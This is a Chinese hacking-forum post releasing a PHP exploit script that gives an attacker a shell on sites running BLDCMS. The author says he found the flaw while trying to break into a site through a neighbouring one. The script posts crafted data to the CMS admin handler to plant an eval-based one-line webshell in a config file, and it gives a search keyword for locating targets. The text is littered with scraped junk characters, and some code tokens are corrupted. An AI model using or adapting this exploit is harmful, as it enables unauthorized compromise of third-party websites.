之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞$ P9 p$ D+ }* @. D n y' y
$ H# k) g( p) b
. ^# T, d/ B& H0 s4 n0 q) F话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
i _+ B2 b. o) T; I+ s% m, g 2 ~6 v, L: W) g" }+ |
既然都有人发了 我就把我之前写好的EXP放出来吧' B! |* w" x( ]* U
' a8 @( z, p% P5 }5 e; o' _1 y
view source print?01.php;">
4 N- P( R. t3 X( M02.<!--?php
z) y. k+ r( P1 k03.echo "-------------------------------------------------------------------
_: {" X5 I I5 t04.
' W* V( Q6 y; A05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
, ?/ t& X! l$ n1 F6 ^8 X# R06. & N# Q* V* ^( @- `8 t. r. t0 v7 @
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun5 o5 K; f4 K+ }) I1 ^/ d
08. % F3 U3 Z5 A& f" T# j
09.QQ:981009941\r\n 2013.3.21\r\n
, E% Q+ u: v; e4 R" |10.
8 Y9 \' E$ m- {" Z! ^0 ]! [% a11. ! o. M0 P- ~2 v: z
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码, n( F8 W* I. ?. G* t" ?( o& O8 e5 g) W
13.
) P, q: _& ]/ ?% M* N$ B* c) J14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
' k) N3 ]3 {3 o15. # C/ p' F7 h0 X. I
16.--------------------------------------------------------------------\r\n";! R: z8 \& I5 v) i4 I/ F) o: [4 r% f
17.$url=$argv[1];
7 f: O7 B8 t5 l18.$dir=$argv[2];# H2 i& [2 r& K! g5 N# ]0 B
19.$pass=$argv[3];
1 x' U4 b% r& }& K20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
% }. V" y; P! F5 u21.if (emptyempty($pass)||emptyempty($url))
@, j: h: H, ~/ Y' X x2 X6 f22.{exit("请输入参数");}
& u7 h+ F* o0 R" m5 O23.else# z/ U M/ e! L+ I5 Z! L4 }: ~ N
24.{
7 M, G. T! [0 E25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
! D. w% s- ~, U: W% C26. 8 x3 {9 T/ x9 S3 s0 d
27.al;# B4 u3 G# o, @' }3 ]" d1 b# g$ \6 R
28.$length = strlen($fuckdata);! b. w" x" P1 `1 s, e
29.function getshell($url,$pass)# c9 E x/ Z0 | l& X+ F
30.{
: ?+ v* o# N( E: Y1 l( R: I31.global $url,$dir,$pass,$eval,$length,$fuckdata;: i+ r; H9 C6 y2 [7 h5 n9 x
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";) x% ]4 q9 e" q$ c
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
' f7 c4 z) w' u% u1 {% @1 ?34.$header .= "User-Agent: MSIE\r\n";$ x5 y" I \. Q, N
35.$header .= "Host:".$url."\r\n";
7 |' X$ E/ Q" P( Y36.$header .= "Content-Length: ".$length."\r\n";
4 S" n. x d) d1 H. {6 b37.$header .= "Connection: Close\r\n";3 g* X* e s" D( u! {$ d
38.$header .="\r\n";
4 N' B3 ?) z9 S- g39.$header .= $fuckdata."\r\n\r\n";8 h: k9 @6 M4 R' R
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
- d0 i7 x3 R4 e! Q41.if (!$fp)
' E$ `: @! m; [( \42.{
4 L1 ] @2 I& V" ]3 A- {43.exit ("利用失败:请检查指定目标是否能正常打开");0 K6 n9 z- c9 B2 c/ l
44.}
6 H6 p# C/ _/ w9 e b+ @( q* c* ~45.else{ if (!fputs($fp,$header))! T, Z0 a) v, h7 L9 i
46.{exit ("利用失败");}
( v8 K4 ?& r1 o( ^47.else
3 ^) k9 @0 c: P- E; V48.{
: l' j4 f( F; f- _- X3 b. L49.$receive = '';& p( c% \$ b; h: ]! M
50.while (!feof($fp)) {
+ Q4 |+ o* S/ T. }6 S, X51.$receive .= @fgets($fp, 1000);# p& ~( H1 h, n0 t: h, g
52.}
2 x+ }. y( ?) I+ x3 p53.@fclose($fp);* B. N' T, h0 }8 `
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
7 z# Z+ p( \, s55. 2 T% L# \% B2 Z- q& X; w
56.GPC是否=off)";
: U, o! h3 m* g6 W6 |# _) y57.}}3 }; t1 g7 j$ T
58.}8 q! H# F" f* w
59.}
$ I+ |/ \7 T& L6 M% X) D* ?+ h; D' j$ z% {, _60.getshell($url,$pass);
& e/ a' m# R) v# {4 c61.?-->
7 g2 q+ s- t* o" k3 t ' {! E8 V* n* T1 \; s
7 w* H4 Q3 a( `1 w5 h) ?
( P z, Y8 k1 _* n# \by 数据流
4 E7 h, d- Y4 o r+ j$ c |